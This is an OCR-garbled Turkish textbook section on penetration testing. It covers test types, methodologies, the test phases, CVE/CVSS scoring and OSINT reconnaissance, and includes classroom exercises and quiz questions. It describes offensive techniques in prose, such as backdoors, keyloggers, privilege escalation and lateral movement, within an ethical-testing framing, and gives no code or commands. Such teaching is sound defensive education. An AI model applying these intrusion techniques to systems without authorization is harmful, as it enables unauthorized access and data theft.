Asagidaki test tlrlerinin 6nindeki rakamlari agiklamalar basliginda verilen ifadelerin 6niinde
ayrilan yere yerlestirerek test tirind dogru aciklama ile eslestiriniz.

1. Ag Sizma Testi () insan faktériinden kaynaklanan zafiyetleri test eder.

() Bir sistemin yogun trafik altinda nasil davrandigini ve

2. Sosyal Muhendislik Testi . L .
maksimum kapasitesini 6lgmek amaciyla yapilan testtir.

3. Web Uygulama Testi () Ag cihazlari ve servislerindeki glivenlik aciklarini test eder.

4. Kablosuz Ag Testi () Web uygulamalarindaki agiklari tespit eder.

Mobil Uygulama Sizma | ( ) Mobil uygulamalarda veri giivenligi, API giivenligi ve kimlik
Testi dogrulama mekanizmalarini test eder.
6. Load/DDoS Testi
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1.3. SIZMA TESTi ASAMALARI

Sizma testi agsamalari, siber glivenlik uzmanlarinin olasi siber saldirilari kontrollii bir sekilde simiile
ederek glivenlik zafiyetlerini belirlemek ve bir kurumun gercek tehditleri ne dlglde tespit edip bunlara
karsi etkili savunma yapabilecegini degerlendirmek amaciyla izledigi temel adimlardir.

Sizma testi sirecindeki her asama, siki etik kurallar ve yasal cerceveye bagh kalinarak gercek tehdit
aktorlerinin kullandigr yontemleri taklit edecek bicimde planlanir ve uygulanir. Sizma testi asamalari,
bilgisayar korsanlarinin istismarina maruz kalmadan once glvenlik aciklarinin tespit edilerek
dizeltilmesini saglar.

Sizma testi uzmanlarinca uygulanabilecek farkli sizma testi metodolojileri vardir. Sizma testi uzmanlari;
sizma testi yliriitme standardi PTES, NIST SP 800-115, OWASP uygulama givenligi test yonergeleri,
OSSTM, ISSAF gibi cesitli sizma testi metodolojilerini takip edebilir (Tablo 1.3).

Tablo 1.3: Sizma Testi Metodolojileri

Standart / Framework “ Odak Noktasi

OWASP [Open Web Application Security

Project (Acik Web Uygulama Giivenligi
Projesi)]

Web uygulamalari igin diinya
standardidir.

Web sitesi ve mobil
uygulama glvenligidir.

NIST [National Institute of Standards
and Technology (Ulusal Standartlar ve
Teknoloji Enstitiisii)] SP 800-115

ABD Ulusal Standartlar
Enstitlst tarafindan hazirlanan
rehberdir.

Teknik test planlama
ve raporlama sirecidir.

PTES [Penetration Testing Execution
Standard (Sizma Testi Yiiritme
Standardi)]

Sizma testinin 7 ana asamasini
en detayli sekilde tanimlayan
standarttir.

Testin ticari ve teknik
tim sirecleridir.

OSSTMM [Open Source Security Testing
Methodology Manual (Agik Kaynak
Giivenlik Testi Metodolojisi Kilavuzu)]

Bilimsel ve olculebilir verilere
dayanan bir metodolojidir.

Operasyonel glivenlik
ve ag guvenligidir.

ISSAF [Information Systems Security
Assessment Framework (Bilgi Sistemleri
Giivenlik Degerlendirme Cergevesi)]

Oldukga kapsamli ve teknik bir
rehberdir.

Her bir servis (DNS,
FTP vb.) icin ayri test
adimlaridir.

Test ekipleri tarafindan kullanilan metodoloji farklilik gosterebilir ancak genellikle siireg, benzer genel

adimlar gergevesinde yuratalir.

1.3.1. Planlama ve Kapsam Belirleme

Planlama ve kapsam belirleme; sizma testine baslamadan 6nce test uzmanlari tarafindan yapilan
planlama, belgeleme ve resmi yetkilendirme siirecidir. Etik siber saldiri stirecinin temelini olusturur.
Tum sinirlar, hedefler ve kurallar bu adimda gerceklestirilir. Bu adim, gereksiz aksakliklarin 6nlenmesini
saglar.
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Planlama asamasi (6n hazirlik asamasi) ile sunlar yapilir:
« Zaman planlamasi yapilarak iletisim kurulacak kisiler belirlenir.

- Testin hedefi, kapsami (dahili, harici, uygulama vb.) ve yasakl alanlari (hangi arac¢ veya tekniklerin
yasak oldugu) netlestirilir (test edilecek sistemler, IP araliklari, alan adlari, uygulamalar vb.).

« Etik ve hukuki cercevede yetkilendirme ve sézlesme siiregleri tamamlanir.
« Kara kutu, beyaz kutu ve gri kutu tipleri kararlastirilir.
Kapsam belirleme siirecinde islemlere baslamadan 6nce yapilacak testler ve bu testler sonucunda elde

edilecek bilgilerin gizliligini korumak amaciyla Gizlilik S6zlesmesi [Non-Disclosure Agreement (NDA)]
imzalanir.

1.3.2. Bilgi Toplama

Bilgi toplama, sizma testi uzmanlari tarafindan hedef ag ve sistemler hakkinda bilgilerin toplandigi
asamadir. Sizma testi uzmanlari, hedefe bagh olarak farkli kesif yéntemleri kullanir. Ornegin hedef bir
uygulama ise sizma testi uzmanlari uygulamanin kaynak kodunu inceleyebilir. Hedef tim bir ag ise
sizma testi uzmanlari ag trafigi akislarini incelemek icin bir paket analizcisi kullanabilir.

Sizma testi uzmanlari herkese acik belgeleri, haber makalelerini, hatta calisanlarin sosyal medya ve
GitHub hesaplariniinceleyerek hedef hakkinda bilgi sahibi olabilir. Bilgi toplama slrecinde sunlar yapilir:

- Aktif bilgi toplama ve pasif bilgi toplama yontemleri kullanilarak hedef hakkinda bilgi toplanir.
« Agdaki aktif cihazlar belirlenir.

« DNS, WHOIS, acik portlar ve ¢alisan servisler analiz edilir.

« Kullanilan isletim sistemleri ve teknolojiler tahmin edilir.

« Ag topolojisi haritalandirilir.

Aktif Bilgi Toplama: Hedef sistemle dogrudan etkilesime gecilerek yapilan bilgi toplama sirecidir.

Pasif Bilgi Toplama: Hedef sistemle hi¢bir dogrudan temas kurmadan Uglinci taraf kaynaklar Gizerinden
bilgi edinme surecidir.

1.3.3. Ag Topolojisi Cikarma

Sizma testinde ag topolojisi cikarma, hedef sistemin ag yapisini haritalandirma siirecidir. Bir agda hangi
cihazlarin oldugunun, birbirleri ile nasil baglanti kurdugunun ve hangi servisleri kullandiginin gorsel
veya mantiksal olarak haritasinin ¢ikarildigi asamadir. Bu asamada siber glivenlik uzmani sunlari yapar:

« Agda bulunan cihazlari (sunucular, istemciler, yonlendiriciler, givenlik duvarlari vb.) tespit eder.
« Bu cihazlarin birbirleriyle baglantisini belirler.
« Acik portlari ve galisan servisleri analiz eder.

« Ag segmentlerini ve glivenlik katmanlarini ortaya cikarir.
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Ag haritalamanin amaci; hedef sistemin ag yapisini anlamak, olasi saldiri yollarini belirleyerek glivenligi
artirmak ve sorunlari tespit etmektir. Ag haritalama; aga kimin bagh oldugunu 6grenme, glvenlik
aciklarini gérme, mevcut saldir durumunda nereden geldigini anlamayi kolaylastirir.

1.3.4. Zafiyet Tarama

Zafiyet tarama asamasi ile hedef sistemdeki agikliklari ortaya ¢ikarmak amaglanir. Givenlik sistemlerine
uygulanan ihlal girisimleri ile sisteme zarar verilmeden nasil karsi konulacagini desifre etmek icin hedef
Uzerinde taramalar yapilir. Sizma testi uzmanlari; sistem baglanti noktalari, servisler gibi bircok noktaya
paketler gdnderir ve gelenyanitianalizederek buralar tizerinde bir zafiyet olup olmadigini kontrol eder. ilk
asamada sunucu servislerinde yer alan bannerlar kullanilir. Zafiyet tarama araglari servis versiyonlarini,
yapilandirmalari ve bilinen glivenlik agiklarini analiz ederek sistemde potansiyel zafiyetleri tespit eder.
Zafiyet tarama araclari arasinda Nessus, OpenVAS ve Qualys yaygin olarak kullanilir. Zafiyet tarama
araclari yanhs pozitif sonuglar tretebilir. Bu nedenle bulgular manuel olarak dogrulanmahdir

m Sizma testi ve zafiyet taramasi birbirine benzese de aslinda farkli kavramlardir. Zafiyet
taramasi; hedef sistemlerdeki glivenlik agiklarinin, agik kaynakli veya licretli otomatik zafiyet
tarama araglari kullanilarak tespit edilmesi ve raporlanmasi siirecidir. Pentest ¢calismalarinda

ise amag yalnizca zafiyetleri bulmak degil ayni zamanda tespit edilen bu zafiyetleri analiz

ederek sistemlere erisim saglayabilecek yollari kesfetmek ve yetkili erisimler elde etmektir.

CVE (Common Vulnerabilities and Exposures), diinyadaki bilinen yazilim ve sistemlerde bulunan siber
glvenlik acgiklarinin her birine verilen benzersiz bir kimlik numarasidir. Amag, tespit edilen givenlik
aciklarinda ayni zafiyeti ayni isimle tanimlayabilmektir. Glvenlik agiklarinin T.C. Kimlik Numarasi gibi
disundlebilir. CVE kayitlart MITRE Corporation tarafindan koordine edilir. CVE formati, CVE-YIL-NUMARA
seklindedir.

m CVE-2024-48224

CVSS (Common Vulnerability Scoring System), CVE'nin (glvenlik agiginin) tehdit seviyesini 6lgen
bir puanlama sistemidir. CVSS; guvenlik agiklarini degerlendirmek amaciyla istismar edilebilirligi,
olusturabilecegi etkileri ve cevresel faktorleri analiz eden yapilandiriimis bir ydontemdir.

Guvenlik agiginin tehdit seviyesi belirlendikten sonra bu agiklar, herkesin erisebilecegi MITRE so6zlUglinde
listelenir. Listelenen glivenlik aciklari Ulusal Standartlar ve Teknoloji Enstitiisii (NIST) tarafindan analiz
edilir ve tiim sonuglar NIST’in Ulusal Guvenlik Agigl Veri Tabani'nda (NVD) listelenir. NVD, CVSS v2.0,
v3.0 ve v4.0 standartlarini destekler.

CVSS, 0.0 (zararsiz) ile 10.0 (kritik) arasinda degisen bir puanlama 6lgegi kullanir. Puan yikseldikge
givenlik agiginin ciddiyeti artar. Siber glvenlik uzmanlari, ¢ikan sonuglar sayesinde hangi aciklari
oncelikli olarak gidereceklerini bilir. CVSS puan araliklari soyledir:

0.0: Yok
0.1-3.9: Dlsuk
4.0-6.9: Orta
7.0-8.9: Yuksek
9.0-10.0: Kritik
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G Aragtirma

Hangi giivenlik agiklarinin CVE olarak nitelendirilebilecegini arastiriniz. Arastirmanizin sonuglarini
sunum bi¢iminde hazirlayarak arkadaslariniza sununuz.

1.3.5. Sisteme Sizma, Yetki Yiikseltme ve Yayilma

Sizma testi uzmanlari, belirlenen hedeflere kontrolli bir sekilde saldirilar dizenleyerek sistemdeki zayif
noktalari tespit etmeye ¢alisir. Uzmanlar; saldirilarin etkilerini, sistemin saldirilara tepkisini izlerler ve
kesfedilen giivenlik agiklarini kullanarak sisteme sizar.

Hedef sisteme sizma gerceklestikten sonra sistemde uzun siire kalip disariya daha fazla veri aktarmak
istenebilir. Sisteme yerlesmek ve kalici olmak icin backdoor (arka kapi) veya Truva ati yerlestirmek, gizli
kullanici hesaplari olusturmak gibi bircok teknik kullanilir. Sisteme sizdiktan sonra agin derinliklerine
inmek icin bir giivenlik agigindan digerine gecilir. Ornegin bir calisanin kimlik bilgilerini ele gegirmek icin
bilgisayara bir keylogger yerlestirilir. Ele gegirilen kimlik bilgileri ile de hassas bir veri tabanina erisilebilir.

Erisim saglanan sistemlerde mevcut kisitlamalari asmak amaciyla yetki yiikseltme (privilege escalation)
islemleri gerceklestirilir. Bu kapsamda Linux sistemlerde root, Windows sistemlerde ise NTAUTHORITY\
SYSTEM yetkilerinin elde edilmesi hedeflenir. Erisim saglanan sistemler pivot noktasi olarak kullanilarak
dogrudan erisilemeyen diger aglara veya sistemlere yayilma (lateral movement) calismalari yapilir. Bu
sayede ag lzerindeki diger sistemlerin ele gecirilmesi denenir.

Onceki adimda elde edilen yiiksek yetkiler sayesinde sistemlerde sifrelenmis veya acik sekilde saklanan
parolalar tespit edilerek elde edilmeye ¢alisilir. Ayrica sistemlerde bulunan 6nemli dosya ve belgelerin
kopyalari alinir ve test sonunda bunlar misteriye kanit sunmak amaciyla sifrelenmis sekilde teslim edilir.

Sizma testi uzmaninin amaci, giivenlik kontrollerinin ne 6lglide asilabildigini test ederek zayifliklari
ortaya koymaktir. Bunu saglamak icin sunlari yapar:

« Web uygulamalarindaki gtivenlik aciklarindan yararlanir.
« Sifre kirma islemi yapar.
« Yanlis yapilandiriimis sistemlerden veya glincel olmayan yazilimlardan yararlanir.

« Ayricaliklari yikseltme, veri calma, trafigi engelleme gibi yontemlerle bu aciklarin yol acabilecegi
zarari anlamaya calisir.

1.3.6. iz Toplama ve Cikarma

iz toplama ve ¢ikarma; test siirecinde olusan dijital kayitlarin (loglarin) ve izlerin ydnetilmesi, kanitlarin
kayit altina alinmasi ve test sonrasinda ortamin temiz ve glivenli birakilmasini kapsayan siregtir. Bu
sayede gercek diinyadaki bilgisayar korsanlarinin, sizma testi uzmanlarinin agiklarindan yararlanarak
aga sizmalari engellenir.

iz toplama islemiyle test siirecinde elde edilen erisim bilgileri, sistem ve uygulama log kayitlari, tespit
edilen aciklar, kanitlar gibi veriler toplanir ve belgelenir.

iz cikarma (izlerin temizlenmesi) islemindeki amag, kalici risk olusturmadan sistemleri test éncesi
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duruma getirmektir. Sizma testi tamamlandiktan sonra sistemde kalici bir etki birakilmamasina dikkat
edilerek olusturulan test hesaplari silinir, yiklenen araglar kaldirilir ve yapilan tim degisiklikler geri
ahnir.

1.3.7. Raporlama

Sizma testinin son asamasinda sizma testi uzmanlari, yapilan saldirilardan elde ettigi bulgulari analiz
eder ve detayli bir rapor hazirlarlar.

Raporda sizma testi yontemleri, tespit edilen glivenlik agiklari, kurumun glvenlik agiklarini kapatmasi
ve savunma stratejilerini giiclendirmesi icin gerekli 6neriler yer alir. lyi bir raporda olmasi gerekenler
sunlardir:

« Ana bulgular (6zet rapor)

« Guvenlik agiklarina ait teknik detaylar
« Ekran gorintileri

« lyilestirme énerileri

+ Risk derecelendirmesi

Hazirlanan raporlarin NCA ECC, ISO 27001, GDPR gibi standartlara uygun olmasi gerekir. Raporlama
asamasinda siklikla kullanilan false positive (yanlis pozitif) ve false negative (yanlis negatif) olarak
adlandirilan iki kavram vardir.

Yanlis pozitifte bir saldiri gerceklesmedigi halde saldiri gerceklesmis gibi alarm (alart) gerceklesir.
Gergekte bir risk olmadigi halde risk varmis gibi sonuc verir. Bu sonug, rapora hatali bir sekilde yansir.
Herhangi bir tehlike olmadigi halde tehlike varmis gibi goriinen bu durum; gereksiz alarm, is ylki ve
yanlis 6nceliklendirmelere sebep olur. Bdyle bir durum tespit edildiginde sizma testi raporlarina bu bir
false positive olabilir, seklinde not disiilmelidir.

m Bazi durumlarda bir port tarayicisi kapali olan bir portu agik gibi gosterebilir. Gergekte bu
port, giivenlik duvari tarafindan bloklanmistir. Bunun sonucunda bir yanlis alarm olusur.

Yanlis negatifte gercekte var olan fakat tespit edilemeyen bir aciklik s6z konusudur. Bir baska deyisle
saldiri gerceklestigi halde tespit edilemeyen durumlardir. Bunun sonucunda kritik olan bir risk, gézden
kagar ve hazirlanan giivenlik raporu hatali sonuglanir. Bu, en tehlikeli durumlardan biridir. Clink{ rapora
glivenli seklinde not alinir ancak sistem tehdit altindadir.

m Sizma testi sirasinda bir web uygulamasinda kritik bir yetkisiz dosya erisim agig1 vardir
fakat otomatik arag veya sizma testi uzmani bunu fark etmez ve raporlamaz. Boyle bir
durumda rapor giivenli gibi gorindr. Bu durum, ciddi sikintilara yol acabilir.
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7 ®
\ ¢

Sira Sizde

Siber glivenlik uzmanlari tarafindan kullanilan bir glivenlik araci, testin uygulandigi web uygulama-
sinda XSS acig1 oldugunu bildirmistir fakat yapilan manuel testlerde uygulamanin tim kullanici girdi-
lerini filtreledigi ve belirtilen agigin gercekte bulunmadigi gortlmustir.

Verilen sorulari yukaridaki senaryoya gore neden-sonug iliskisi kurarak yanitlayiniz ve sinifta
arkadaslarinizla paylasiniz.

1. Bu durum false positive mi yoksa false negative midir?

2. Sizma testi sonug raporu hazirlanirken bununla ilgili nasil bir agiklama yazilmasi gerekir?
. J

7® :
\ - Sira Sizde ~

Asagidaki islemlerin hangi sizma testi asamasinda yapildigini asama siitununda ayrilan alana
yaziniz.

Test edilecek IP araliklarinin belirlenmesi

WHOIS ve DNS bilgilerinin incelenmesi

Nmap ile agik portlarin tespit edilmesi

Nessus ile glivenlik ac¢ig1 taramasi yapilmasi

Sisteme erisim saglanarak yetki yikseltme yapilmasi

QU IRIWIN e

Test sonunda detayli rapor hazirlanmasi
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OLCME VE DEGERLENDIRME

A) Asagida verilen climlelerin basindaki bosluga ciimlede yer alan ifade dogru ise “D”, yanhs ise “Y”

B)

yaziniz.

() Sizma testi uygulamalari hukuki sorumluluklar iceren bir strectir.

() DDoS testlerinde amag sistemin tamamen ¢alismaz hale gelmesini saglamaktr.

() Bilgi toplama asamasinda pasif ya da aktif yontemler kullanilabilir.

() CVSS puani arttikga glivenlik agiginin 6nemi azalir.

() Kablosuz sizma testi, ag cihazlari ve servislerindeki glivenlik aciklarini test eder.

Asagidaki sorulari dikkatlice okuyarak dogru cevabi isaretleyiniz.

Sizma testinin temel amaci asagidakilerden
hangisidir?

A) Sisteme zarar vermek

B) Kullanici hesaplarini degistirmek

C) Verileri silmek

D) Giivenlik agiklarini tespit etmek

E) Ag baglantisini kesmek

Sistem hakkinda hicbir bilgi olmadan yapi-
lan sizma testi asagidakilerden hangisidir?

A) Beyaz kutu testi

B) Gri kutu testi

C) Kara kutu testi

D) Yik testi

E) Sosyal miihendislik testi

Sistemleri izleyerek saldirilara karsi savun-
ma gelistiren ekip asagidakilerden hangisi-
dir?

A) Kirmizi takim

B) Gritakim

C) Mor takim

D) Pentest ekibi

E) Mavi takim
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9.

10.

11.

Asagidakilerden hangisi etik sizma testinin
ozelliklerinden biridir?

A) lizinsiz yapilir.

B) Kisisel ¢ikar icin yapilir.

C) Yazili sozlesme ile yapilir.

D) Verigalnir.

E) Sistem zarar gordr.

Zafiyet taramasi asagidakilerden hangisini
ifade eder?

A) Sistemlere saldiri yapilmasi

B) Glvenlik aciklarinin tespit edilmesi
C) Kullanici hesaplarinin silinmesi

D) Ag baglantisinin kesilmesi

E) Veri tabaninin yedeklenmesi

Bir kurum galisanina sahte e-posta génde-
rerek kullanici bilgilerini ele gecirmeye ca-
lismak hangi test tiiriine ornektir?

A) Sosyal mihendislik
B) Kablosuz ag

C) Web uygulama

D) Mobil uygulama

E) Yiik



2. BiLGi TOPLAMA VE

OGRENME BiRIMi KESIF YONTEMLERI

2.1. BiLGi TOPLAMA TEKNIKLERi
2.2. AG VE PORT TARAMA TEKNIKLERi
2.3. AG ORTAMI DiNLEME ARAGLARI

NELER OGRENECEKSINiz?

e Bilgi toplama tekniklerini kavrama
e Ag ve port tarama tekniklerini kullanma

e Ag ortami dinleme araglarini kullanma

Bilgi toplama (information gathering),
Exploit, istismar (exploitation), kesif
(reconnaissance), Payload, raporlama
(reporting), tarama (scanning), yetki
yukseltme (privilege escalation), zafiyet

analizi (vulnerability analysis)
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HAZIRLIK CALISMALARI

1. Bir siber saldirganin hedef sistem hakkinda higbir bilgiye sahip olmadan basarili
olabilecegini diistinliyor musunuz? Duslincelerinizi nedenleriyle agiklayiniz.

2. internette bir kurum hakkinda higbir teknik bilgiye erismeden sadece acik kaynaklardan
hangi tiir bilgiler elde edilebilir? Ornek vererek agiklayiniz.

3. Bir sistemde hangi servislerin galistigini bilmek, o sistemin giivenligi hakkinda ne gibi
ipuclari verebilir?

2.1. BiLGi TOPLAMA TEKNIKLERI

Bir sistemi degerlendirmeye hakkinda yeterli bilgiye sahip olmadan baslamak, cogu zaman siireci blylik
Olctde zorlastirir ve elde edilecek sonuglarin dogrulugunu tartismali hale getirir. Neyin test edildigini,
hangi teknolojilerin kullanildigini veya sistemin dis diinyaya nasil acildigini bilmeden yapilan bir ¢alisma,
planli bir analizden ¢ok deneme-yanilma siirecine dénisur. Sizma testlerinde de ayni durum gecerlidir.
Saglam bir sonug elde etmek isteyen bir uzman 6nce arastirir, not alir ve elindeki verileri anlamlandirir.
Testin ilerleyen asamalarinda atilacak her adim, baslangicta toplanan bilgilere dayanir (Gorsel 2.1).

4 N
PASIF KESIF
"[ (OSINT - AGIK KAYNAK ISTIHBARAT) AKTIF KESIF
G s » Hedef sistemle
- - * Dogrudan etkilegim yok. o =
[ wHOIS) * Tek veri paketi bile gonderilmez. 4 Dah?t';tlzﬁi'llxubti? "illa:; %
WHOIS Kayitlan 9
Port Taramasi
; TOPLANAN TOPLANAN
< VERILER VERILER s
DNS Kayitlan Alan Adlan i o Acik Portlar
IP Bloklar ‘{’IFERE)G%#L"EIL‘{E Galigan Servisler Servis Tespit
lﬁ E-posta Adresleri Yazilim Siiriimleri
Sosyal Medya Personel Bilgileri v igletim Sistemleri
Profilleri foms o o
= Ad Haritalama
e Derin teknik bilgi saglar.
slfke‘t Web Siteleri Diigiik tespit riski Canli sistem verisi </>
Hizh ve genis kapsaml Pl Yiiksek tespit riski
(SEARCH)  Gilncelligi sinirh olabilir, \ SALDIRI YOZEYINI NETLESTIRME Sistem kesintisi ihtimali Uvaulama Kesfi
' Derin teknik bilgi eksikligi SONRAKI ASAMALAR IGIN TEMEL \uz
Arama Motorlan N
Etik ve Hukuki Cerceve: Kapsam
\ On;ﬁ:;;:e;g:‘ I:;aryall [ ZAFIYET ANALIZI (H?’L,C‘JITA?ION) J—[ digi bulgular sémiiriilmez, raporlamir.
> BELIRLENEN KAPSAM VE YETKILENDIRME SINIRLARI <

Gorsel 2.1: Bilgi toplama ve kesif asamasi

Ag yapisl, servisler, alan adlari, IP bloklari, kullanilan yazilimlar gibi detaylar ilk bakista siradan goriinse
de dogru yorumlandiginda sirecin yoniini belirleyebilir. Bilgi toplama veya diger adiyla kesif asamasi,
bu nedenle sizma testinin temelini olusturur. Cogu calisma, acgik kaynak arastirmalariyla (OSINT) baslar.
Baska bir deyisle hedefle dogrudan etkilesime gecmeden herkese acik veriler izerinden pasif bir sekilde
onemli ipuclari elde edilir. Bu asamada ¢ogu durumda hedef sistemle dogrudan etkilesime gegmeden
bilgiler elde edilir. Ardindan gerek gorillrse aktif yontemlere basvurularak sistemle kontrollii temas
kurulur ve daha teknik bilgiler toplanir. Buradaki amag, yalnizca veri toplamak degil elde edilen bilgileri
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dizenli bicimde analiz ederek olasi saldiri ylizeyini netlestirmektir. Her iki yaklasimin da kendine
0zgl avantajlari, riskleri ve kullanim alanlari vardir ancak tim bu faaliyetler belirlenen kapsam ve
yetkilendirme sinirlari iginde yirttilmelidir. Test sirasinda kapsam disi bir zafiyetle karsilasilsa bile etik
ve hukuki cerceve gozetilerek hareket edilmesi gerekir.

Bilgi toplama siireci cogu zaman yalnizca belirli araglarin calistirildigi teknik bir faaliyet gibi algilansa da
gercekte bundan ¢ok daha kapsamli bir yaklasimdir. Bu asama, rastgele taramalar yapmak veya hazir
yazilimlari kullanmak degil hedefi anlamaya yonelik planli ve sistematik hareket etme bicimidir. Etkili
bir bilgi toplama sireci; hangi verinin neden toplandigini, elde edilen verinin nasil analiz edilecegini
ve sonraki adimlara nasil yon verilecegini cevaplandirmayi gerektirir. Dolayisiyla bilgi toplamanin, kesif
araglarindan bagimsiz olarak ele alinmasi gerekir. Kullanilan yazilimlar yalnizca sireci destekleyen
yardimci unsurlardir. Asil belirleyici olan unsurlar; metodolojik yaklasim, arastirma kapsami ve
sonuglarin analizidir. Bu nedenle bilgi toplama, sizma testinin teknik degil ayni zamanda analitik ve
stratejik boyutunu temsil eder.

Bilgi toplama stirecini ¢esitli standartlara kavusturmak amaciyla gelistirilen, uluslararasi diizeyde kabul
gormis metodolojiler vardir. Bilgi toplamanin gelisiglizel degil planli, kapsamli ve belirli ilkelere dayah
bir sire¢ oldugunu ortaya koyan bu metodolojilerden bazilari sunlardir:

PTES, sizma testi slrecini belirli standartlara gére yedi ana asamaya ayiran kapsamli bir metodolojidir.
Bilgi toplama asamasi, bu modelde su iki bolim icinde ele alinir:

Pre-engagement (Etkilesim Oncesi Hazirlik): Sizma testinin teknik kismindan dnce gelen ve miisteriyle
karsilikh olarak testin kapsaminin (scoping), yasal sinirlarinin, siiresinin ve kurallarinin (Rules of
Engagement) belirlendigi yasal ve idari hazirlik asamasidir.

Intelligence Gathering (istihbarat Toplama): Hedef sistem veya kurum hakkinda acik kaynaklardan
(OSINT) yahut dogrudan tarama yontemleriyle teknik verilerin toplandigi kesif asamasidir. Bu bélimde
sistemin saldiri ylizeyi ¢ikarilarak bir sonraki asama olan tehdit modelleme igin veri seti olusturulur.

« Kapsam belirlenir.
PTES’de sunlar + Hedef varliklar tanimlanir.

yaptlir: « Acik kaynak arastirmalari yapilir.

« Saldiri ylzeyi haritalandirihr.

OSSTMM

OSSTMM teknik ve olcilebilir bir metodolojidir. Bilgi toplama sirecini sadece veri toplama olarak degil
elde edilen bilgilerin somut ve belirli dlcttler Gzerinden degerlendirilmesini saglayan bir yaklasimla
ele alir. Baska bir deyisle toplanan verilerin glivenlik agisindan ne ifade ettigini analiz eder ve sireci
Olcllebilir hale getirir.

+ A8 kesfi
OSSTMM
yaklasiminda su « Servis haritalama
degerlendirmeler « Glvenlik kontrol noktalarinin analizi

yapilir:

« Gergek saldiri ylzeyinin belirlenmesi
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NIST SP 800-115
NIST SP 800-115, ABD Ulusal Standartlar Enstitlisi tarafindan yayimlanmis bir rehberdir.

« Network discovery (Ag kesfi)

Bilgi toplama

» Port ve servis tespiti
asamasi su sekilde

siiflandirilir: « Vulnerability identification (Zafiyet tespiti)

« Enumeration (Numaralandirma)

OWASP Testing Guide

OWASP Testing Guide 6zellikle web uygulama giivenligi icin kullanilir. Information Gathering bolim
detayldir.

« Uygulamanin mimari yapisinin incelenmesi

Bilgi toplama - Sisteme ait potansiyel giris noktalarinin belirlenmesi

asamasi su sekilde
siniflandirilir:

- Kullanilan yazilim ve teknolojilerin tespit edilmesi

« Olasi saldiri ylizeyinin ortaya cikarilarak haritalandiriimasi

MITRE ATT&CK Kesif Taktigi (Reconnaissance Tactic)

MITRE ATT&CK matrisinde kesif (Reconnaissance), tehdit aktériiniin hedef sisteme yonelik aktif bir
operasyon baslatmadan once gerceklestirdigi hazirlik asamasini temsil eden bagimsiz bir taktiktir.
Bu taktik kapsaminda saldirgan; hedef kurumun altyapisi, ¢alisanlari ve dijital varlklari hakkinda
bilgi toplayarak saldiri stratejisini sekillendirir. Bu taktikte tehdit aktérinin temel amaci, savunma
mekanizmalarini dogrudan tetiklemeden saldiri yiizeyini (attack surface) haritalandirmak ve istismar
edilebilecek zayif halkalari tespit etmektir. Kesif taktigi; aktif (hedefle dogrudan etkilesim kuran
taramalar) ve pasif [acik kaynak istihbarati (OSINT)] teknikler olmak Gzere iki ana kategoride incelenir.

- Domain bilgisi toplama
MITRE ATT&CK

modeli bilgi toplama - Organizasyon bilgisi toplama

tekniklerini séyle « E-posta adresleri toplama
siniflandirir:

« Network infrastructure discovery

2.1.1. Pasif Bilgi Toplama Yontemleri

Sizma testinin baslangi¢c adimlarindan biri pasif bilgi toplamadir. Hedef hakkinda miimkiin oldugunca
fazla veri toplamaya calismak gerekir ancak bunu yaparken karsi tarafin dikkati de cekilmemelidir. Baska
bir deyisle sisteme dokunmadan uzaktan gozlem yapilmalidir. Hedef sistemle dogrudan etkilesime
gecmeden internet Gizerinde acik kaynaklarda bulunan veriler araciligiyla bilgi elde etme siirecine pasif
bilgi toplama denir. Bu siire¢ genellikle Agik Kaynak istihbarati [Open Source Intelligence (OSINT)]
olarak adlandirilir.
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Gogu zaman duslinilenin aksine bu asama, teknik saldiri denemelerinden daha uzun sirebilir. Clinku
burada amag acele etmek degil bilgi toplarken saglam bir zemin hazirlamaktir. Hedef sistem hakkinda
ne kadar fazla ve dogru bilgiye sahip olunursa sonraki asamalarda o kadar planl ve isabetli hareket
edilebilir. Iyi yapilmis bir hazirlik, sizma siirecini hem hizlandirir hem de gereksiz denemelerin éniine
gecer.

Pasif bilgi toplama sirasinda internet Gzerindeki acik veriler cgesitli servisler ve araclar yardimiyla
toplanir. Ardindan bu veriler incelenir. Elde edilen bilgiler yeterli seviyeye ulastiginda bir sonraki
asamaya gecilebilir. Toplanan veriler hedefi anlamak icin yeterli degilse o zaman daha farklh yontemler
uygulanabilir.

Pasif bilgi toplama siirecinin en 6nemli 6zelligi gizliliktir. Pasif bilgi toplamada ise hedef incelendiginin
farkinda olmaz. Béylece sistem yapisi, kullanilan teknolojiler, calisan profilleri veya dijital izler hakkinda
on bilgi edinilerek ileride karsilasilabilecek karmasik durumlara hazirlik yapilabilir.

Pasif bilgi toplama igin kullanilan araglar oldukga cesitlidir. Bazilari web tabanli servisler lizerinden
calisirken bazilari komut satiri ortaminda kullanilir. Basaril bir sizma testi, cogu zaman sessiz ve sabirl bir
arastirmayla baslar ve iyi bir sizma testi uzmani saldirmadan dnce disiinir, denemeden 6nce arastirir.

Bir sirketin web sitesi, ¢alisanlarin sosyal medya paylasimlari, kullanilan e-posta formatlari, alt alan
adlariveya kamuya acik belgeler ilk bakista siradan goriinebilir ancak dogru bakis agisiyla incelendiginde
bu veriler; sistem mimarisi, kullanilan teknolojiler ve olasi zayif noktalar hakkinda énemli ipuglari
sunabilir. Ayrica etik bir sizma testinde en dnemli kavramlardan biri yetkilendirme ve kapsamdir. Pasif
bilgi toplama asamasinda dahi ¢alismanin hangi sinirlar icinde yirituldigi bilinmelidir. Amag, zarar
vermek degil riskleri tespit etmek ve glivenligi artirmaktr.

Pasif bilgi toplama sirecinde internet, en blylk veri kaynagidir. Hedefle dogrudan temas kurmadan
acik kaynaklardan elde edilebilecek bir¢cok bilgi vardir (Gorsel 2.2).

Whaois ve q Arsiv Siteleri Arama

DNS Sorgulan (archive.org) . Motorlari
[Osutrs]

Bloglar ve
Forumlar

Servis veTeknoIoji Tespitir-\'

-__..

Gorsel 2.2: Pasif bilgi toplama kaynaklari
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Bu kaynaklar soyle detaylandirilabilir:

Whois ve DNS
Sorgu Servisleri

Arsiv Siteleri

Arama Motorlari

Sosyal Paylasim
Aglari

Bloglar ve
Forumlar

Kariyer Siteleri

Faydalanilan
Servislerin Tespiti

Alan adinin kime ait oldugu, ne zaman alindigi, hangi isim sunucularinin kullanildigi
gibi teknik bilgiler elde edilebilir. Bu veriler, hedefin altyapisi hakkinda onemli
ipuglari verir.

Web sitelerinin ge¢mis sirimlerine ulasilarak daha 6nce yayinda olan ancak
sonradan kaldiriimis icerikler incelenebilir. Eski calisan bilgileri, unutulmus alt
sayfalar veya ifsa edilmis dokiimanlar bu sekilde tespit edilebilir.

Standart aramalar disinda gelismis sorgular kullanilarak dizinlenmis belgeler, agikta
birakilmis dosyalar veya yapilandirma hatalari ortaya ¢ikarilabilir.

